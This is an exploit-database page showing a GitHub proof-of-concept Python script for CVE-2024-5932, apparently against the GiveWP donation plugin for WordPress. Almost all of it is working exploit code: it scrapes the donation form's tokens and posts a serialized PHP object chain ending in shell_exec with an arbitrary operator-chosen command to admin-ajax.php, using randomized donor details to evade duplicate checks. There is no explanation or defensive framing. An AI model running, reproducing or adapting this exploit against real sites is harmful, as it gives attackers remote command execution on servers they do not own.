Exploit database

GH-9b99a30394dc542adc1de45f3559588d

0o176/cve-2024-5932_poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-5932

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0o176/cve-2024-5932_pocRevision 338e401e68ad

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-5932-PoC.py

Python · 2,701 bytes
import argparse
import random
from urllib.parse import urlparse
from bs4 import BeautifulSoup
import requests

parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True, help="Target URL")
parser.add_argument('-c', '--command', required=True, help="Command to execute")
args = parser.parse_args()

target_url = args.url.rstrip('/')

# 1. Handle iframe embedding
res = requests.get(target_url, timeout=10)
if embed := BeautifulSoup(res.text, 'html.parser').find('iframe', {'name': 'give-embed-form'}):
    target_url = embed['src']
    res = requests.get(target_url, timeout=10)

# 2. Parse form tokens and pricing details using BeautifulSoup
soup = BeautifulSoup(res.text, 'html.parser')
form_id = soup.find('input', {'name': 'give-form-id'})['value']
form_hash = soup.find('input', {'name': 'give-form-hash'})['value']
btn = soup.find('button', {'data-price-id': True})

# 3. Build POP chain payload (add a tiny random space or comment to the command to prevent payload caching if re-run)
cmd = f"{args.command} # {random.randint(1000,9999)}"
payload = 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}' % (len(cmd), cmd)

# 4. Request data with unique randomized user details to bypass duplicate checks
data = {
    'give-form-id': form_id,
    'give-form-hash': form_hash,
    'give-price-id': btn['data-price-id'] if btn else '0',
    'give-amount': btn.get_text(strip=True) if btn else '$10.00',
    'give_first': 'Test',
    'give_last': 'User',
    'give_email': f'test_{random.randint(10000,99999)}@htb.htb',
    'action': 'give_process_donation',
    'give-gateway': 'offline',
    'give_title': payload
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Encoding': 'gzip, deflate, br'
}

# 5. Send exploit to admin-ajax.php
parsed = urlparse(target_url)
ajax_url = f"{parsed.scheme}://{parsed.netloc}/wp-admin/admin-ajax.php"

print(f"[*] Sending payload to {ajax_url}...")
response = requests.post(ajax_url, data=data, headers=headers, timeout=10)
print(f"[+] Response status: {response.status_code}")
print(response.text)